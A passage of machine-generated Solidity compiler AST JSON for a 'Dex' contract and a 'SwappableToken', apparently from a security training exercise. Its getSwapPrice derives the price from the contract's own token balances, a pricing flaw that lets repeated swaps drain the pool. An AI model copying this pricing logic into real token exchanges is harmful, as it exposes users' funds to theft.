IERC20"}},"id":50680,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"979:12:67","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"966:25:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":50688,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:60:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50689,"nodeType":"ExpressionStatement","src":"966:60:67"},{"expression":{"arguments":[{"arguments":[{"id":50696,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1063:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50695,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1055:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50694,"name":"address","nodeType":"ElementaryTypeName","src":"1055:7:67","typeDescriptions":{}}},"id":50697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1055:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50698,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50670,"src":"1070:10:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50691,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"1043:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50690,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1036:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50692,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1036:10:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1047:7:67","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47926,"src":"1036:18:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":50699,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1036:45:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50700,"nodeType":"ExpressionStatement","src":"1036:45:67"},{"expression":{"arguments":[{"arguments":[{"id":50707,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1123:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50706,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1115:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50705,"name":"address","nodeType":"ElementaryTypeName","src":"1115:7:67","typeDescriptions":{}}},"id":50708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1115:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":50709,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1130:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50710,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1134:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1130:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50711,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50670,"src":"1142:10:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50702,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"1098:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50701,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1091:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1091:10:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50704,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1102:12:67","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"1091:23:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":50712,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1091:62:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50713,"nodeType":"ExpressionStatement","src":"1091:62:67"}]},"functionSelector":"df791e50","implemented":true,"kind":"function","modifiers":[],"name":"swap","nameLocation":"651:4:67","parameters":{"id":50633,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50628,"mutability":"mutable","name":"from","nameLocation":"664:4:67","nodeType":"VariableDeclaration","scope":50715,"src":"656:12:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50627,"name":"address","nodeType":"ElementaryTypeName","src":"656:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50630,"mutability":"mutable","name":"to","nameLocation":"678:2:67","nodeType":"VariableDeclaration","scope":50715,"src":"670:10:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50629,"name":"address","nodeType":"ElementaryTypeName","src":"670:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50632,"mutability":"mutable","name":"amount","nameLocation":"690:6:67","nodeType":"VariableDeclaration","scope":50715,"src":"682:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50631,"name":"uint256","nodeType":"ElementaryTypeName","src":"682:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"655:42:67"},"returnParameters":{"id":50634,"nodeType":"ParameterList","parameters":[],"src":"705:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50751,"nodeType":"FunctionDefinition","src":"1166:206:67","nodes":[],"body":{"id":50750,"nodeType":"Block","src":"1260:112:67","nodes":[],"statements":[{"expression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50747,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50736,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50726,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50721,"src":"1279:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"arguments":[{"arguments":[{"id":50733,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1317:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50732,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1309:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50731,"name":"address","nodeType":"ElementaryTypeName","src":"1309:7:67","typeDescriptions":{}}},"id":50734,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1309:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50728,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50719,"src":"1295:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50727,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1288:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1288:10:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1299:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1288:20:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50735,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1288:35:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1279:44:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":50737,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1278:46:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"arguments":[{"arguments":[{"id":50744,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1358:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50743,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1350:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50742,"name":"address","nodeType":"ElementaryTypeName","src":"1350:7:67","typeDescriptions":{}}},"id":50745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1350:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50739,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50717,"src":"1334:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50738,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1327:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50740,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1327:12:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1340:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1327:22:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50746,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1327:37:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1278:86:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":50748,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1277:88:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":50725,"id":50749,"nodeType":"Return","src":"1270:95:67"}]},"functionSelector":"bfd7e00d","implemented":true,"kind":"function","modifiers":[],"name":"getSwapPrice","nameLocation":"1175:12:67","parameters":{"id":50722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50717,"mutability":"mutable","name":"from","nameLocation":"1196:4:67","nodeType":"VariableDeclaration","scope":50751,"src":"1188:12:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50716,"name":"address","nodeType":"ElementaryTypeName","src":"1188:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50719,"mutability":"mutable","name":"to","nameLocation":"1210:2:67","nodeType":"VariableDeclaration","scope":50751,"src":"1202:10:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50718,"name":"address","nodeType":"ElementaryTypeName","src":"1202:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50721,"mutability":"mutable","name":"amount","nameLocation":"1222:6:67","nodeType":"VariableDeclaration","scope":50751,"src":"1214:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50720,"name":"uint256","nodeType":"ElementaryTypeName","src":"1214:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1187:42:67"},"returnParameters":{"id":50725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50724,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50751,"src":"1251:7:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50723,"name":"uint256","nodeType":"ElementaryTypeName","src":"1251:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1250:9:67"},"scope":50797,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":50779,"nodeType":"FunctionDefinition","src":"1378:202:67","nodes":[],"body":{"id":50778,"nodeType":"Block","src":"1435:145:67","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":50762,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1476:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1480:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1476:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50764,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50753,"src":"1488:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50765,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50755,"src":"1497:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50759,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"1460:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50758,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"1445:14:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableToken_$50853_$","typeString":"type(contract SwappableToken)"}},"id":50760,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1445:22:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50761,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1468:7:67","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":50852,"src":"1445:30:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":50766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1445:59:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50767,"nodeType":"ExpressionStatement","src":"1445:59:67"},{"expression":{"arguments":[{"expression":{"id":50772,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1545:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50773,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1549:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1545:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50774,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50753,"src":"1557:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50775,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50755,"src":"1566:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50769,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"1529:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50768,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"1514:14:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableToken_$50853_$","typeString":"type(contract SwappableToken)"}},"id":50770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1514:22:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50771,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1537:7:67","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":50852,"src":"1514:30:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":50776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1514:59:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50777,"nodeType":"ExpressionStatement","src":"1514:59:67"}]},"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1387:7:67","parameters":{"id":50756,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50753,"mutability":"mutable","name":"spender","nameLocation":"1403:7:67","nodeType":"VariableDeclaration","scope":50779,"src":"1395:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50752,"name":"address","nodeType":"ElementaryTypeName","src":"1395:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50755,"mutability":"mutable","name":"amount","nameLocation":"1420:6:67","nodeType":"VariableDeclaration","scope":50779,"src":"1412:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50754,"name":"uint256","nodeType":"ElementaryTypeName","src":"1412:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1394:33:67"},"returnParameters":{"id":50757,"nodeType":"ParameterList","parameters":[],"src":"1435:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50796,"nodeType":"FunctionDefinition","src":"1586:137:67","nodes":[],"body":{"id":50795,"nodeType":"Block","src":"1667:56:67","nodes":[],"statements":[{"expression":{"arguments":[{"id":50792,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50783,"src":"1708:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50789,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50781,"src":"1691:5:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50788,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1684:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1684:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1698:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1684:23:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1684:32:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":50787,"id":50794,"nodeType":"Return","src":"1677:39:67"}]},"functionSelector":"f7888aec","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1595:9:67","parameters":{"id":50784,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50781,"mutability":"mutable","name":"token","nameLocation":"1613:5:67","nodeType":"VariableDeclaration","scope":50796,"src":"1605:13:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50780,"name":"address","nodeType":"ElementaryTypeName","src":"1605:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50783,"mutability":"mutable","name":"account","nameLocation":"1628:7:67","nodeType":"VariableDeclaration","scope":50796,"src":"1620:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50782,"name":"address","nodeType":"ElementaryTypeName","src":"1620:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1604:32:67"},"returnParameters":{"id":50787,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50786,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50796,"src":"1658:7:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50785,"name":"uint256","nodeType":"ElementaryTypeName","src":"1658:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1657:9:67"},"scope":50797,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50576,"name":"Ownable","nameLocations":["246:7:67"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"246:7:67"},"id":50577,"nodeType":"InheritanceSpecifier","src":"246:7:67"}],"canonicalName":"Dex","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50797,46700,48281],"name":"Dex","nameLocation":"239:3:67","scope":50854,"usedErrors":[],"usedEvents":[46601]},{"id":50853,"nodeType":"ContractDefinition","src":"1727:459:67","nodes":[{"id":50801,"nodeType":"VariableDeclaration","src":"1766:20:67","nodes":[],"constant":false,"mutability":"mutable","name":"_dex","nameLocation":"1782:4:67","scope":50853,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50800,"name":"address","nodeType":"ElementaryTypeName","src":"1766:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"private"},{"id":50827,"nodeType":"FunctionDefinition","src":"1793:207:67","nodes":[],"body":{"id":50826,"nodeType":"Block","src":"1923:77:67","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":50817,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1939:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50818,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1943:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1939:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50819,"name":"initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50809,"src":"1951:13:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":50816,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"1933:5:67","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function 